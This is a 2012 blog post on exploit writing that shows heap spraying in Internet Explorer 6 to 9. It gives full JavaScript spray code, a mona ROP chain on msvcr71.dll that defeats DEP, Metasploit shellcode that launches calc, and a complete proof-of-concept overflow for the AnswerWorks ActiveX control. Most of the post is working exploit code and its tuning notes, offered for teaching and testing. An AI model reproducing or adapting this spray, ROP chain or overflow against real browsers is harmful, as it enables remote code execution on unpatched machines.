Monthly Archives: June 2012

Heap spraying in Internet Explorer with rop nops

Lately I have been learning to write some exploits for some of my old discovered vulnerabilities to get it working on Windows 7 with IE9. Previously when exploiting vulnerabilities my POCs had always been on Windows XP IE6 just to make sure it worked and not having to worry about all the mitigations in later versions. In this post I am just sharing some basic info which will hopefully to help others when writing/understanding exploits for the first time while at the same time keeping it simple and not worrying to much about performance or precision. In my old exploits I used the heap spraying code below when testing on IE6.  (Just removed the un from unescape as Symantec’s Endpoint Protection doesnt like it in this section, maybe they are just too close to each other 🙂 as the following unescapes are fine)

<SCRIPT language="JavaScript"> 
 var calc, chunk_size, headersize, nopsled, nopsled_len;
 var heap_chunks, i;
  calc = escape("%ucccc%ucccc");
  chunk_size = 0x40000;
  headersize = 0x24;
  nopsled = escape("%u0c0c%u0c0c");
  nopsled_len = chunk_size - (headersize + calc.length);
  while (nopsled.length < nopsled_len)
     nopsled += nopsled;
  nopsled = nopsled.substring(0, nopsled_len);
  heap_chunks = new Array();
  for (i = 0 ; i < 1000 ; i++)
     heap_chunks[i] = nopsled + calc;
</SCRIPT>

From IE8 things had changed not only because it supported DEP but heap spraying for the above code did not spray the heap. After going through some exploits a realised the only change from the above code I really had to make was by spraying the heap using “substring” function. So the code would now look like this

code = nopsled + calc;
heap_chunks = new Array();
for (i = 0 ; i < 1000 ; i++)
   heap_chunks[i] = code.substring(0, code.length);

Trying this heap spray code now on Windows 7 with IE9 again failed to spray. After reading Peter Van Eeckhoutte’s heap spraying tutorial on how heap spraying was achieved in IE9 got me thinking to see if I could simplify the code and after a few tests it literately came down to just changing one byte in each chunk. So my final spray code ended up is adding a count to each chunk just to make it unique

for (i = 0 ; i < 1000 ; i++)
{    
   codewithnum = i + code;
   heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
}

This code would now spray on all IE browsers and execute our payload on machines that did not support DEP. With machines supporting DEP a ROP chain is required to make our code executable. For this I decided to use ROP chains generated by mona on library msvcr71.dll which gets shipped with Java 6 and is a non-ASLRed. Due to jumping to our first gadget needed to be precise I wanted to write a javascript code where our sprayed chunks will be full of rop nops saving me the trouble of calculating the precise offset as offsets might vary from different OS’es plus landing in another chunk might have another offset. Alignment is still an issue at times but just incrementing or decrementing our used return address normally solves the issue. So each chunk would only have one rop + calc shellcode at the end of the chunk instead of multiple shellcode blocks in a chunk. All I did was change the nopshed value to

nopsled = unescape("%q6224%u7c37"); // 0x7c376224 RETN [MSVCR71.dll]

Putting it all together we now get a working script for Internet Explorer 6/7/8 and 9. (I had to replace the u with a q otherwise the formatting on the browser gets messed up).

<SCRIPT language="JavaScript"> 
 function padnum(n, numdigits)
 {
   n = n.toString();
   var pnum = '';
   if (numdigits > n.length)
   {
     for (z = 0; z < (numdigits - n.length); z++)
      pnum += '0';
   }
   return pnum + n.toString();
 }
 var rop, calc, chunk_size, headersize, nopsled, nopsled_len, code;
 var heap_chunks, i, codewithnum;
//        
// !mona rop -m msvcr71.dll
// * changed from default mona rop chain output
//
 rop = unescape(
 "%q2e4d%q7c36" +   //  0x7c362e4d, # POP EBP # RETN
 "%q2e4d%q7c36" +   //  0x7c362e4d, # skip 4 bytes
 "%qf053%q7c34" +   //  0x7c34f053, # POP EBX # RETN
 "%q00c8%q0000" +   //  0x000000c8, # 0x000000c8-> ebx (size 200 bytes) *
 "%q4364%q7c34" +   //  0x7c344364, # POP EDX # RETN
 "%q0040%q0000" +   //  0x00000040, # 0x00000040-> edx
 "%qf62d%q7c34" +   //  0x7c34f62d, # POP ECX # RETN
 "%qe945%q7c38" +   //  0x7c38e945, # &Writable location
 "%q496e%q7c36" +   //  0x7c36496e, # POP EDI # RETN
 "%q6c0b%q7c34" +   //  0x7c346c0b, # RETN (ROP NOP)
 "%q2adb%q7c37" +   //  0x7c372adb, # POP ESI # RETN
 "%q15a2%q7c34" +   //  0x7c3415a2, # JMP [EAX]
 "%q4edc%q7c34" +   //  0x7c344edc, # POP EAX # RETN
 "%qa151%q7c37" +   //  0x7c37a151, # ptr to &VirtualProtect() - 0x0EF  *
 "%q8c81%q7c37" +   //  0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
 "%q5c30%q7c34");   //  0x7c345c30, # ptr to 'push esp #  ret '
//
// ruby msfpayload windows/exec cmd=calc.exe J
// windows/exec - 200 bytes
// http://www.metasploit.com
// VERBOSE=false, EXITFUNC=process, CMD=calc.exe
//
 calc = unescape(
 "%qe8fc%q0089%q0000%q8960%q31e5%q64d2%q528b%q8b30" +
 "%q0c52%q528b%q8b14%q2872%qb70f%q264a%qff31%qc031" +
 "%q3cac%q7c61%q2c02%qc120%q0dcf%qc701%qf0e2%q5752" +
 "%q528b%q8b10%q3c42%qd001%q408b%q8578%q74c0%q014a" +
 "%q50d0%q488b%q8b18%q2058%qd301%q3ce3%q8b49%q8b34" +
 "%qd601%qff31%qc031%qc1ac%q0dcf%qc701%qe038%qf475" +
 "%q7d03%q3bf8%q247d%qe275%q8b58%q2458%qd301%q8b66" +
 "%q4b0c%q588b%q011c%q8bd3%q8b04%qd001%q4489%q2424" +
 "%q5b5b%q5961%q515a%qe0ff%q5f58%q8b5a%qeb12%q5d86" +
 "%q016a%q858d%q00b9%q0000%q6850%q8b31%q876f%qd5ff" +
 "%qf0bb%qa2b5%q6856%q95a6%q9dbd%qd5ff%q063c%q0a7c" +
 "%qfb80%q75e0%qbb05%q1347%q6f72%q006a%qff53%q63d5" +
 "%q6c61%q2e63%q7865%q0065");
//
 chunk_size = 0x40000;
 headersize = 0x24;
 nopsled = unescape("%q6224%q7c37"); // 0x7c376224 RETN [MSVCR71.dll]
 nopsled_len = chunk_size - (headersize + rop.length + calc.length);
 while (nopsled.length < nopsled_len)
    nopsled += nopsled;
 nopsled = nopsled.substring(0, nopsled_len);
 code = nopsled + rop + calc;                             
 heap_chunks = new Array();
 for (i = 0 ; i < 1000 ; i++)
 {
    codewithnum = padnum(i,4) + code;
    heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
 }
</SCRIPT>

Here are two images from the top and bottom of one of the chunks.

One thing to note is that the calc shellcode size in the above example is 200 bytes and this size needs to be set in our rop chain. Due to the fact that the shellcode is at the bottom of the chunk if the size used by VirtualProtect is greater than our shellcode it reads past the chunk leading to an invalid address and triggering an exception.

Here is an example of an exploit I wrote for testing purposes. I discovered this one quite some time ago. The ActiveX library awApi4.dll from “Vantage Linguistics AnswerWorks” contains a number of vulnerable stack-based buffer overflow methods. The Secunia advisory link is here. The ActiveX control had been killbitted at the time with a Microsoft patch MS07-069/942615.

<OBJECT classid="clsid:C1908682-7B2C-4AB0-B98E-183649A0BF84" id="poc">
</OBJECT>
<SCRIPT language="JavaScript"> 
   var buffer = "";
   for (i = 0; i < 215; i++) buffer += unescape("%41")
   buffer += unescape("%23%62%37%7c")   // 0x7c376223 POP EAX # RETN
   buffer += unescape("%42%42%42%42")   // compensate
   buffer += unescape("%42%42%42%42")   // compensate
   buffer += unescape("%08%08%08%08")   // fill return address
   buffer += unescape("%a9%13%34%7c")   // XCHG EAX,ESP # MOV EAX,DWORD
                                        // PTR DS:[EAX] #PUSH EAX #RETN
   buffer += unescape("%24%62%37%7c")   // 0x7c376224 RETN
   for (i = 0; i < 20; i++) buffer += unescape("%43")
   poc.GetHistory(buffer);
</SCRIPT>

This exploit has been tested and works 100% on Windows XP SP3 IE 6/7/8 and Windows 7 SP1 IE 8/9. I have included the vulnerable library, registry files to remove/add killbits and the exploit in a zip file that can be downloaded from here. The zip file has a md5 hash of d219582269ee0845f8747d0b64910f71 and the password for the zip file is “answerworks” without quotes. If you find when testing the exploit Windows Calculator fails to load then check if msvcr71.dll library is loaded in IE’s process space as I had noticed on one of my test machines that it does not load up.

This heap spraying code should work well for exploiting buffer overflows but exploiting virtual function calls is something I’ll need to look into and on my to-learn-list. On Windows 7 the only real dependency lies in having Java 6 installed as the library msvcr71.dll which comes with Java 6 is not ASLRed or gets rebased. If Java 7 is installed then another rop chain would need to be used as Java 7 libraries are all ASLRed. Windows XP is not subject to ALSR so another rop chain could be used if Java 6 is not installed.

References:

http://secunia.com/advisories/26566/
http://www.vantagelinguistics.com/answerworks/release/
http://technet.microsoft.com/en-us/security/bulletin/MS07-069
https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/